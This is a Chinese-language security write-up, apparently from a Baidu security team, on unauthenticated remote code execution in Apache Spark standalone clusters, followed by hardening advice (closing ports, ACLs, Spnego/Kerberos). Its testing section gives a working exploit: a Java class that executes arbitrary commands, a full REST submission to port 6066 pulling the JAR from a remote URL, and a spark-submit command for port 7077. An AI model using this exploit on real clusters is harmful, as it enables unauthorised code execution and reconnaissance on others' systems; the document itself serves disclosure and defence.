2018-11-08 19:35:1626598人阅读
0x01 漏洞介绍
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。
该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。
0x02 漏洞测试
向Master节点提交应用的方式有两种:
1、利用StandaloneRestServer API提交应用,REST服务端的默认端口号是6066;
2、使用Spark应用程序部署工具spark-submit提交应用。
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
应用可以是Java或Python,就是一个最简单的类,如下所示(参考链接1):
将其编译成JAR,放在任意一个HTTP或FTP上,如https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar。standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API。
POST /v1/submissions/create HTTP/1.1
Host: 111.111.111.111:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 687
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://111.111.111.111:6066"
}
}
其中spark.jars就是恶意的应用,appArgs是该应用执行的命令参数。提交该请求之后,Spark slave节点会部署运行该恶意应用。
服务器响应如下图所示:其中submissionId在漏洞利用请求的response中可以查看到。
通过如下Url可以查看任务的运行情况:
http://{Master ip}:8081/logPage/??driverId={submissionId}&logType=stdout
结果如下图所示:
如果6066端口不能访问,或做了权限控制,我们可以向Spark standalone集群的master节点来提交应用,默认端口是7077,具体方法是利用Apache Spark自带的脚本bin/spark-submit:
bin/spark-submit --master spark://111.111.111.111:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
0x03 漏洞修复
1、对外关闭端口
对外关闭8080(Standalone Master Web UI端口)、8081(Standalone Worker Web UI端口)、6066(Standalone Master Rest Server Api端口)、7077(Standalone Master集群作业提交端口)等Spark端口。
2、权限认证
用户可以自定义 javax servlet filter 来对登陆用户进行认证,Spark会根据用户的ACL(访问控制列表)来确保该登陆用户有权限访问某个Spark应用的web UI。Spark ACL的行为可由 spark.acls.enable 和 spark.ui.view.acls 共同控制。注意,启动Spark应用的用户总是会有权限访问该应用对应的UI。而在YARN模式下,Spark web UI会使用YARN的web应用代理机制,通过Hadoop过滤器进行认证。
Spark还支持修改运行中的Spark应用对应的ACL以便更改其权限控制,不过这可能会导致杀死应用或者杀死任务的动作。这一特性由 spark.acls.enable 和 spark.modify.acls 共同控制。注意,如果你需要web UI的认证,比如为了能够在web UI上使用杀死应用的按钮,那么就需要将用户同时添加到modify ACL和view ACL中。在YARN上,控制用户修改权限的modify ACL是通过YARN接口传进来的。
Spark可以允许多个管理员共同管理ACL,而且这些管理员总是能够访问和修改所有的Spark应用。而管理员本身是由 spark.admin.acls 配置的。在一个共享的多用户集群中,你可能需要配置多个管理员,另外,该配置也可以用于支持开发人员调试Spark应用。
3、Spnego Authentication
开启了ACL就能对UI进行权限隔离了吗?其实我们还只走了一半路。为了使web server(Spark内嵌Jetty)能够对用户进行隔离,首先Jetty需要知道是谁发起了HTTP请求,换句话说,只有用户的HTTP请求中包含了用户信息,UI和ACL才能根据用户信息进行正确的隔离。但是不幸的是,普通的HTTP请求是不包含用户信息。
为此需要为Jetty servlet加入authentication filter以获取认证用户的信息。在这之中,最常用的就是Spnego authentication。
Spnego是一套以Kerberos为基础的HTTP认证机制,只有经过Kerberos授权的HTTP请求才能被web server所接受。Hadoop生态系统下的各个组件的UI大都采用Spnego作为认证机制,如HDFS,YARN等。
为了使Spark UI能够使用Spnego认证,用户需要实现相应的authentication filter并将其添加到Jetty中。幸运的是Hadoop已经帮我们实现了相应的filter,只需将其配置就可使用。具体如下:
1.spark.ui.filters=org.apache.hadoop.security.authentication.server.AuthenticationFilter
2.spark.org.apache.hadoop.security.authentication.server.AuthenticationFilter.params=type=kerberos,kerberos.pricipal=<kerberos-principal>,kerberos.keytab=<kerberos-keytab>
在这里,需要为Spark UI创建Kerberos principal和keytab。这样Spark UI就有了Spnego
authentication的能力了,任何用户在发起HTTP请求之前必须先获得Kerberos tgt。使用curl命令的话,方式如下:
$ kinit
$ curl --negotiate -u : <host>:<port>/<xxx>
经过Spnego认证的HTTP请求在其HTTP头部包含用户信息,Spark UI和ACL机制会从其中获取用户名并在相应的权限列表中进行比对。
参考链接:
4、Apache Knox
参考链接:
本文来自百度安全SiemPent Team,转载请注明出处及本文链接